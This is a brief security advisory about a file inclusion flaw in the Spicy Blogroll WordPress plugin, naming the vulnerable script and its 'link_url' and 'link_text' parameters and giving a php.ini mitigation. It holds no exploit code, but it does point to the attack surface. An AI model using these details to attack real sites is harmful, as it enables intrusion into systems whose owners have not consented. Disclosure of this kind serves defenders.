WordPress Plugin Spicy Blogroll File Inclusion Vulnerability

WordPress Plugin Spicy Blogroll is vulnerable to a file inclusion vulnerability. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'link_url' and 'link_text' parameters of the 'spicy-blogroll-ajax.php' script. An attacker can exploit this vulnerability to include arbitrary files from local resources. Successful exploitation requires that 'allow_url_include' is set to 'On' in the 'php.ini' configuration file.

Mitigation:

Disable 'allow_url_include' in the 'php.ini' configuration file.
